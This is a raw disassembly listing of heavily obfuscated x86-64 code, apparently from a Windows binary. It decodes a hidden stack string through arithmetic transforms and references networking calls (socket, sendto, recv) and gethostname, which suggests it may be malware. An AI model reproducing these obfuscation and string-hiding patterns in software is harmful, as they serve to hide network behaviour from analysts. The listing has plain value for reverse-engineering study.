je 0x140108b06
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x140108ae3
mov rdi, rcx
lea r10, [rcx + 0x42]
lea rax, [r10 + 0x40]
cmp rcx, rax
jb 0x14010918f
lea rax, [r10 + 0x1000]
cmp rcx, rax
jb 0x14010916c
lea rax, [r10 + 0x3e8]
cmp rcx, rax
jb 0x140108918
lea rax, [r10 + 0x80]
cmp rcx, rax
jb 0x1401088f5
lea rax, [r10 + 0x42]
cmp rcx, rax
jb 0x1401088d2
lea rax, [r10 + 0x61]
cmp rcx, rax
jb 0x140108ac2
lea rax, [r10 + 0x400]
cmp rcx, rax
jb 0x140108aa1
lea rax, [r10 + 0x200]
cmp rcx, rax
jb 0x140108a80
lea rax, [r10 + 0x64]
cmp rcx, rax
jb 0x140108a55
lea rdi, [r10 + 0x28]
lea r10, [rdi + 0x1000]
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x140108a32
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x140108a11
lea rax, [r10 + 0x64]
cmp rdi, rax
ja 0x1401089fd
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x1401089da
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x1401089c6
lea rcx, [r10 + 0x3e8]
cmp rdi, rcx
ja 0x1401089a5
lea rax, [r10 + 0x80]
cmp rdi, rax
ja 0x140108982
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x14010895c
lea rax, [r10 + 0x28]
cmp rdi, rax
ja 0x14010893b
mov rdi, rcx
lea r10, [rcx + 0x200]
jmp 0x140108729
movabs rdx, 0xe7d7d72e0489d94d
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x1b
add bl, dl
jmp 0x14010871c
movabs rdx, 0xb0f05c5f150c783f
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x47
add bl, dl
jmp 0x1401086c2
movabs rdx, 0x7a08e190258f1731
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub dl, 0x57
add bl, dl
jmp 0x14010864d
movabs rdx, 0x3f44be69523d898
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x28
jmp 0x140108fe9
movabs rdx, 0xcd0cd117a5a6778a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14010900f
movabs rcx, 0x96255648b629167c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x64
jmp 0x140109032
movabs rdx, 0x5f3ddb79c6abb56e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 2
jmp 0x140109056
movabs rdx, 0x285660aad72e5460
mov ecx, Ordinal_50
jmp 0x140108b82
movabs rcx, 0xf16ee5dbe7b0f352
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x3e
jmp 0x1401090a3
movabs rdx, 0xba876b0cf8339244
mov ecx, reloc.WS2_32.dll_select
jmp 0x140108d35
movabs rdx, 0x839ff03e08b63136
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7a
jmp 0x140108b25
movabs rcx, 0x4cb8756f1938d028
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x18
jmp 0x140109155
movabs rcx, 0xc375c269c27f5d85
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x5d
mov byte [rbp + r9 + 0x4d0], bl
jmp 0x140109164
movabs rdx, 0x8c8e479ad301fc77
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x41
jmp 0x140108cbe
movabs rdx, 0x55a6cccbe3849b69
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x21
jmp 0x140108c80
movabs rdx, 0x1ebf51fcf4073a5b
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7d
jmp 0x140108c44
movabs rcx, 0x82f738ecefdae272
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x1e
jmp 0x140109155
movabs rdx, 0x4c0fbe1e005d8164
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140109103
movabs rdx, 0x1528434f10e02056
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5a
jmp 0x140108f64
movabs rdx, 0xde40c8802162bf48
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401090a3
movabs rdx, 0xa7594db131e55e3a
mov ecx, gethostname
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401090a0
movabs rdx, 0x7071d2e24267fd2c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x34
jmp 0x140109056
movabs rdx, 0x398a581352ea9c1e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140109032
movabs rcx, 0x2a2dd44636d3b10
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x70
jmp 0x14010900f
movabs rdx, 0xcbbb627573efda02
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xe
jmp 0x140108fe9
lea rax, [r10 + 0x7a]
cmp rdi, rax
jae 0x140108cf1
lea rdx, [r9 + rsi]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x4f
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0x61
je 0x140108f40
lea rax, [r10 + 0x1000]
cmp rdi, rax
jbe 0x140108da7
movabs rdx, 0x8a9421a78870102b
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x2d
add bl, dl
cmp rdi, 0x3e8
jae 0x140108f17
lea rax, [r10 + 0x200]
cmp rdi, rax
jbe 0x140108e57
movabs rdx, 0xcb12ab245b148b3e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp r10, 0x64
jb 0x140108a73
movabs rdx, 0xf01d7739b5fa55ca
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 0xc]
jmp 0x140108feb
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140108d1d
movabs rcx, 0x80fd12f9a548f626
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xa
jmp 0x140109155
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140108d4a
movabs rdx, 0xeecc08978443b842
mov ecx, Ordinal_27
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140108f64
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140108d77
movabs rdx, 0x9382790452bbdb6c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 6
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140109056
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x140108c46
movabs rcx, 0xca69f3d342393c7a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x56
jmp 0x140109032
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140108dd1
movabs rdx, 0xc17b9c7677ed7139
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x71
jmp 0x140108fe9
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140108dfd
movabs rcx, 0x2f4a921456e83355
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x53
jmp 0x140109032
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140108e27
movabs rdx, 0x66320ce346659463
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x4b
jmp 0x140109056
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140108c82
movabs rcx, 0x9d1987b235e2f571
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x17
jmp 0x1401090a0
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140108e83
movabs rcx, 0x1fa25f34a91ec4c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x14
jmp 0x140109155
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140108ea0
movabs rdx, 0x6fc91b91298cae68
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x140108d35
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140108ebd
movabs rdx, 0xdd98112f08877084
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x140108b82
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x140108ee9
movabs rcx, 0x4b6706cce78232a0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x60
jmp 0x140109032
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x140108cc0
movabs rdx, 0xb935fc6ac67cf4bc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x24
jmp 0x140108fe9
movabs rdx, 0x2704f208a577b6d8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0x4d0]
jmp 0x140108d6f
movabs rdx, 0x5dec6cd794f517e6
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, byte [rbp + r9 + 0x4d0]
sub bl, 0x4a
add bl, dl
jmp 0x1401090d3
movabs rdx, 0x1c1c74b89099ff4b
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xd
jmp 0x140109056
movabs rcx, 0xe534f9e9a11c9e3d
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x55
jmp 0x140109032
movabs rdx, 0x7766044bc221dc21
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x19
jmp 0x140108fe9
movabs rdx, 0x9970eade3271a05
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x23
add bl, dl
movabs rcx, 0xb9134a12db90651
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x37
add cl, r8b
mov byte [rbp + r9 + 0x4d0], cl
inc r10
jmp 0x140109032
movabs rcx, 0x9bc81910042c57e9
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x5f
dec r9
jmp 0x140109164
movabs rdx, 0x64e09e4114aef6db
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 3
add bl, dl
movabs rdx, 0x4278af701d36675f
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov cl, bl
sub cl, al
add cl, 0x67
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x4d0], cl
jmp 0x1401090a0
movabs rcx, 0x2df92372253195cd
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x65
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140109164
mov r8, rdx
movabs rcx, 0xc02a2dd44636d3b1
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
add bl, 0x29
movabs rcx, 0x79602a3f0cb3c86d
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 5
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x4d0], al
inc r10
add rax, r10
sub r9, rax
movabs rdx, 0x94d3e7a6847278f4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x4d0], cl
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x140109155
movabs rcx, 0x525b3836673c1195
add rcx, r9
mov al, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x13
movzx eax, byte [rbp + r9 + 0x4d0]
add rax, r10
add r9, rax
inc r9
jmp 0x14010863a
movabs rcx, 0x432166c13611b623
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0xb
jmp 0x140108637
movabs rcx, 0xc39ebf246945515
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x6d
jmp 0x140108627
lea rdx, [rbp + 0x15e9f84]
jmp 0x1401091cb
lea rdx, [rbp + 0x15d500b]
jmp 0x1401091cb
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp + 0xe0]
call fcn.1400caa68
mov r12, rax
mov qword [rsp + 0x58], rax
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x100]
call fcn.1400ca288
nop
lea rcx, [rbp + 0x100]
call fcn.1401aa90c
mov bl, al
lea rcx, [rbp + 0x100]
call fcn.140091ed0
test bl, bl
je 0x14010c145
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0xf50]
call sub.VCRUNTIME140.dll_memset
mov byte [rbp + 0x120], 0x45
mov byte [rbp + 0x121], 0x75
mov byte [rbp + 0x122], WSASetLastError
mov byte [rbp + 0x123], 0x66
mov byte [rbp + 0x124], 0x76
mov byte [rbp + 0x125], 0x64
mov byte [rbp + 0x126], Ordinal_46
mov byte [rbp + 0x127], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x128], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x129], 0x7d
mov byte [rbp + 0x12a], 0xa
xor eax, eax
mov dword [rbp + 0x12b], eax
mov word [rbp + 0x12f], ax
mov byte [rbp + 0x131], al
mov bl, byte [rsp + 0x50]
movabs rsi, 0x650c9aba69d21100
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
mov r11d, 0x80
xor r9d, r9d
cmp r9, 0x12
jae 0x140109d2f
movzx r8d, byte [rbp + r9 + 0x120]
mov rdx, r8
cmp rdi, r9
ja 0x140109d26
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1401092f2
lea rcx, [r9 + r14]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
jmp 0x14010958d
je 0x140109caf
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140109c2e
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140109bd3
lea rax, [r10 + 9]
cmp rdi, rax
je 0x140109b85
cmp r10, r9
ja 0x140109d1d
lea rax, [r10 + 0x80]
cmp rdi, rax
jae 0x140109343
movabs rdx, 0x4d8dee8fdf1f3380
jmp 0x140109559
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140109b79
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140109b5a
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140109b38
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140109b15
lea rax, [r10 + 4]
cmp rdi, rax
je 0x140109af5
lea rax, [r10 + 9]
cmp rdi, rax
je 0x140109ae6
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x1401097ec
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x1401097cd
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x1401097ae
lea rax, [r10 + 0x80]
cmp rdi, rax
je 0x14010979f
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x140109790
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x140109771
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x140109752
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x140109743
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x140109724
lea rax, [r10 + 0x10]
cmp rdi, rax
je 0x140109705
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x14010939e
lea rdi, [r10 + 0x61]
lea r10, [rdi + 9]
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x140109d04
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x140109ce1
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jb 0x140109595
lea rax, [r10 + 0x200]
cmp rdi, rax
jb 0x140109572
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x14010954f
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x1401096e6
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x1401096c7
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x140109683
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x140109659
lea rdi, [r10 + 8]
lea r10, [rdi + 0x400]
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x14010964a
lea rax, [r10 + 5]
cmp rdi, rax
ja 0x14010963b
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14010962c
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x14010961d
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x14010960e
lea rax, [r10 + 1]
cmp rdi, rax
ja 0x1401095ef
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x1401095d0
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x1401095c7
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x1401095b8
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x14010939e
lea rdi, [r10 + 0xa]
lea r10, [rdi + 0x61]
jmp 0x14010939e
movabs rdx, 0x1561edcdd3c3c80
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
add bl, r11b
jmp 0x140109391
movabs rdx, 0xf9f345184e14b180
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
add bl, r11b
jmp 0x14010931f
movabs rdx, 0xf2906b53beed2680
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
add bl, r11b
jmp 0x1401092c4
movabs rcx, 0x6c6f747ef8f99c00
jmp 0x1401097d7
lea rcx, [r9 + rsi]
jmp 0x1401097bb
movabs rcx, 0x5da9c0f5daaa8600
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x140109bcb
movabs rcx, 0x5646e7314b82fb00
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x140109bf1
movabs rcx, 0x4ee40d6cbc5b7000
jmp 0x14010977b
movabs rcx, 0x478133a82d33e500
jmp 0x14010975c
movabs rdx, 0x401e59e39e0c5a00
jmp 0x1401098bd
movabs rcx, 0x38bb801f0ee4cf00
jmp 0x14010972e
movabs rcx, 0x3158a65a7fbd4400
jmp 0x14010970f
movabs rcx, 0x1ee185ef19da6880
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, r11b
mov byte [rbp + r9 + 0x120], bl
jmp 0x140109cd9
movabs rcx, 0x177eac2a8ab2dd80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, r11b
cmp r10, 0x7a
jb 0x140109676
movabs rcx, 0x78b1622884e0b100
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea ebx, [rcx + rcx]
jmp 0x140109ba3
movabs rcx, 0x101bd265fb8b5280
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x140109844
movabs rcx, 0x8b8f8a16c63c780
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x14010980b
movabs rcx, 0xd153975f3abb3500
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x140109cca
movabs rcx, 0xc9f0bd9aab93aa00
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x140109c7e
movabs rdx, 0xc28de3d61c6c1f00
jmp 0x1401098bd
movabs rcx, 0xbb2b0a118d449400
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x140109c1c
movabs rcx, 0xb3c8304cfe1d0900
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x140109c19
movabs rdx, 0xac6556886ef57e00
jmp 0x14010990d
movabs rcx, 0xa5027cc3dfcdf300
jmp 0x140109936
movabs rcx, 0x9d9fa2ff50a66800
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x140109bc8
movabs rcx, 0x963cc93ac17edd00
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x140109ba3
lea rax, [r10 + 6]
cmp rdi, rax
jae 0x140109881
lea rdx, [r9 + r14]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
add bl, r11b
lea rax, [r10 + rdi]
cmp rax, 0xa
je 0x140109abe
lea rax, [r10 + 0x61]
cmp rdi, rax
jbe 0x140109979
movabs rdx, 0xe146f1eb0e360f80
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
add bl, r11b
cmp rdi, 0x1000
jae 0x140109a96
lea rax, [r10 + 8]
cmp rdi, rax
jbe 0x140109a10
movabs rdx, 0x2ed4e07aed554300
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov bl, r8b
sub bl, cl
add bl, dl
jmp 0x1401096a0
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401098aa
movabs rcx, 0x9b1bdd1fbe3e6700
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x140109cca
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401098d1
movabs rdx, 0xa9e190a8dc8d7d00
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov bl, r8b
sub bl, cl
jmp 0x140109adf
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401098fa
movabs rcx, 0xb8a74431fadc9300
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x140109c19
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140109923
movabs rdx, 0xc00a1df68a041e00
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov bl, r8b
sub bl, cl
add bl, dl
jmp 0x140109bf1
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14010994c
movabs rcx, 0xc76cf7bb192ba900
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x140109bcb
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x14010980e
movabs rdx, 0xd632ab44377abf00
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov bl, r8b
sub bl, cl
add bl, dl
jmp 0x140109ba3
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140109991
movabs rdx, 0xe8a9cbaf9d5d9a80
jmp 0x140109b8f
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401099ba
movabs rcx, 0xf76f7f38bbacb080
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x140109b74
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401099e3
movabs rcx, 0x63532c1d9fbc680
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x140109b52
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x140109847
movabs rcx, 0x23c099d41699f280
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x140109cc7
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140109a28
movabs rcx, 0x3637ba3f7c7cce00
jmp 0x140109894
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140109a51
movabs rdx, 0x3d9a94040ba45900
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov bl, r8b
sub bl, cl
add bl, dl
jmp 0x140109c7e
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140109a7a
movabs rcx, 0x4c60478d29f36f00
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x140109c1c
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401096a0
movabs rcx, 0x53c32151b91afa00
jmp 0x1401098e4
movabs rdx, 0x80143bed14083c00
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov bl, byte [rbp + r9 + 0x120]
sub bl, al
add bl, dl
add bl, r8b
jmp 0x140109bf1
movabs rdx, 0x877715b1a32fc700
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, byte [rbp + r9 + 0x120]
add bl, dl
jmp 0x140109c4c
movabs rcx, 0x90079678e7831680
jmp 0x1401099fa
movabs rdx, 0x8141e2efc9340080
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
jmp 0x140109c49
movabs rcx, 0x79df092b3a0c7580
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, r11b
jmp 0x140109c1c
movabs rcx, 0x727c2f66aae4ea80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, r11b
jmp 0x140109c19
movabs rcx, 0x63b67bdd8c95d480
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, r11b
jmp 0x140109bcb
movabs rdx, 0x54f0c8546e46be80
jmp 0x140109b8f
movabs rdx, 0x462b14cb4ff7a880
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
add bl, r11b
movabs rcx, 0x7c62cf0acc747680
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, cl
add r8b, r11b
mov byte [rbp + r9 + 0x120], r8b
inc r10
dec r9
jmp 0x140109cd9
movabs rdx, 0x3002877da2810780
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
add bl, r11b
movabs rcx, 0x83c5a8cf5b9c0180
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, bl
add r8b, cl
add r8b, r11b
mov byte [rbp + r9 + 0x120], r8b
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140109cd9
mov r8, rdx
movabs rcx, 0x19d9fa2ff50a6680
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
add bl, r11b
movabs rdx, 0x8b288293eac38c80
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
add cl, r11b
movzx eax, cl
mov byte [rbp + r9 + 0x120], al
inc r10
add rax, r10
sub r9, rax
movabs rcx, 0x8ed9ef7632575200
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, cl
mov byte [rbp + r9 + 0x120], r8b
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x140109cca
movabs rcx, 0xb1446a6d6bb5080
add rcx, r9
mov al, dl
and al, cl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
add bl, r11b
movzx eax, byte [rbp + r9 + 0x120]
add rax, r10
add r9, rax
inc r9
jmp 0x1401092b1
movabs rcx, 0xeb2d918f2fc59b80
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, r11b
jmp 0x1401092ae
lea rcx, [r9 + r15]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, r11b
jmp 0x140109298
lea rdx, [rbp + 0x148b320]
jmp 0x140109d36
lea rdx, [rbp + 0x9c78a0]
jmp 0x140109d36
lea rdx, [rbp + 0x120]
mov r14d, 1
mov dword [rsp + 0x20], r14d
lea r9d, [r14 + 0x3f]
lea r15d, [r14 + 1]
mov r8d, r15d
lea rcx, [rbp + 0xf50]
call fcn.140089cb0
nop
